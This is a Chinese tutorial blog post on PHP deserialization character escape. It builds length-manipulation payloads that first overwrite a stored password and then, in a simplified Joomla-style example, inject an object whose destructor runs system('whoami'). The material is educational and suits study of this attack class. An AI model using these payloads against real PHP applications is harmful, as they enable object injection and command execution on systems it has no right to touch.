zoukankan      html  css  js  c++  java
  • 详解PHP反序列化中的字符逃逸

    首发先知社区,https://xz.aliyun.com/t/6718/

    PHP 反序列化字符逃逸

    • 下述所有测试均在 php 7.1.13 nts 下完成

    • 先说几个特性,PHP 在反序列化时,对类中不存在的属性也会进行反序列化

    • PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

    • 比如:在一个正常的反序列化的代码输入 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";} ,会得到如下结果

    • 如果换成 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa"; 仍然是上面的结果,但是如果修改它的长度,比如换成 a:2:{i:0;s:6:"peri0d";i:1;s:4:"aaaaa";} 就会报错

    • 这里给个例子,将 x 替换为 yy ,如何去修改密码?

    <?php
    function filter($string){
        return preg_match('/x/','yy',$string);
    }
    
    $username = "peri0d";
    $password = "aaaaa";
    $user = array($username, $password);
    
    var_dump(serialize($user));
    echo '
    ';
    
    $r = filter(serialize($user));
    
    var_dump($r);
    echo '
    ';
    
    var_dump(unserialize($r));
    
    • 正常情况下的序列化结果为 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

    • 那如果把 username 换成 peri0dxxx ,其处理后的序列化结果为 a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";} ,这个时候肯定会反序列化失败的

    • 可以看到 s:9:"peri0dyyyyyy" 比以前多了 3 个字符

    • 回到前面, a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";} 想一下,它在进行修改密码之后就变为 a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}

    • 可以看到需要添加的字符串 ";i:1;s:6:"123456";} 长度为 20

    • 假设要在 peri0d 后面填充 4 个字符,那么就是 s:30:'peri0dxxxx";i:1;s:6:"123456";}'; 在经过处理之后就是 s:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}'; 读取 30 个字符为 peri0dyyyyyyyy";i:1;s:6:"12345

    • 这就需要继续增加填充字符,在有 20x 时,就实现了密码的修改

    • 可以看到,这和 username 前面的 peri0d毫无关系的,只和做替换的字符串有关

    看一看 Joomla 的逃逸

    • 看到有人写了简易版的 Joomla 处理反序列化的机制,修改之后代码如下:
    <?php
    class evil{
    	public $cmd;
    
    	public function __construct($cmd){
    		$this->cmd = $cmd;
    	}
    
    	public function __destruct(){
    		system($this->cmd);
    	}
    }
    
    class User
    {
    	public $username;
    	public $password;
    
    	public function __construct($username, $password){
    		$this->username = $username;
    		$this->password = $password;
    	}
    
    }
    
    function write($data){
    	$data = str_replace(chr(0).'*'.chr(0), '', $data);
    	file_put_contents("dbs.txt", $data);
    }
    
    function read(){
    	$data = file_get_contents("dbs.txt");
    	$r = str_replace('', chr(0).'*'.chr(0), $data);
    	return $r;
    }
    
    if(file_exists("dbs.txt")){
    	unlink("dbs.txt");  
    }
    
    $username = "peri0d";
    $password = "1234";
    $payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
    write(serialize(new User($username, $password)));
    var_dump(unserialize(read()));
    
    • 详细的代码逻辑不再阐述,它这里就是先将 chr(0).'*'.chr(0)3 个字符替换为 6 个字符,然后再反过来
    • 我们这里最终的目的是实现任意的对象注入
    • 正常来说,这个序列化结果为 O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";} ,我这里的目的是要把 password 的字段替换为我的 payloads:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}
    • 那么可以想一下,一种可能的结果就是 O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
    • 如果不清楚这个序列化怎么得到的,可以做一个反向的尝试,因为这是已经知道了要进行对象注入,可以在 User 中多加一个 $ts
    <?php
    class evil{
    	public $cmd;
    	public function __construct($cmd){
    		$this->cmd = $cmd;
    	}
    	public function __destruct(){
    		system($this->cmd);
    	}
    }
    
    class User
    {
    	public $username;
    	public $password;
        public $ts;
    	public function __construct($username, $password){
    		$this->username = $username;
    		$this->password = $password;
    	}
    }
    $username = "peri0d";
    $password = "1234";
    $r = new User($username, $password);
    $r->ts = new evil('whoami');
    echo serialize($r);
    // O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
    
    • 这个序列化结果中,";s:8:"password";s:4:"1234 长度为 26 ,加上 peri0d6 就是 32 了,这样就覆盖了 password 及其值,再将前面的属性改为 2 就符合原来的源码含义了,而且它是可以成功反序列化的
    • 接下来就是如何构造 O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}} ,很明显要利用前面的替换使 peri0d 扩增来覆盖 password ,然后将 payload 作为 password 的值输入,以达到 payload 注入
    • 先修改 username="peri0d\0\0\0"$password = "123456".$payload 得到序列化结果为 O:4:"User":2:O:4:"User":2:{s:8:"username";s:12:"peri0d";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
    • 发现有问题,修改 $password = '123456";'.$payload."}"
    • 就得到了符合规范的序列化结果 O:4:"User":2:{s:8:"username";s:12:"peri0d";s:8:"password";s:56:"123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}
    • 这个肯定反序列化不了,这里就想一下,如果可以反序列化,结果如下,用 N 代表 NULL : O:4:"User":2:{s:8:"username";s:12:"peri0dN*N";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
    • 这就会多出来 3 个字符,这里一定是按照 3 的倍数进行字符增加的,而 ";s:8:"password";s:56:"123456 长度为 29 ,这就需要进行增加或减少,从而去凑 3 的倍数,这里选择减少,使 password1234 则长度为 27 ,即需要 9
    • 最终的 payload :
    <?php
    $username = "peri0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    $payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
    $password = '1234";'.$payload."}";
    write(serialize(new User($username, $password)));
    var_dump(unserialize(read()));
    
    • 结果:

    • 顺便扯一句,这个可以作为一个 CTF 赛题出现,题目名就叫 Joomla,完全没毛病

    • 题目地址:http://47.101.71.47:9000/

    参考链接

  • 相关阅读:
    杨辉三角(hdu2032)——有待完善
    求平均成绩(hdu2023)
    绝对值排序(2020)——笔记待完善
    母牛的故事(hdu2018)——笔记待完善
    29.数据结构---栈,队列,数组,链表,哈希表
    16.PR将视频剪辑成任意形状
    28.集合1------List
    IDEA选中多行代码向左右移动缩进
    27.集合1------Collection
    IDEA显示单个文件结构
  • 原文地址:https://www.cnblogs.com/peri0d/p/11845917.html
Copyright © 2011-2022 走看看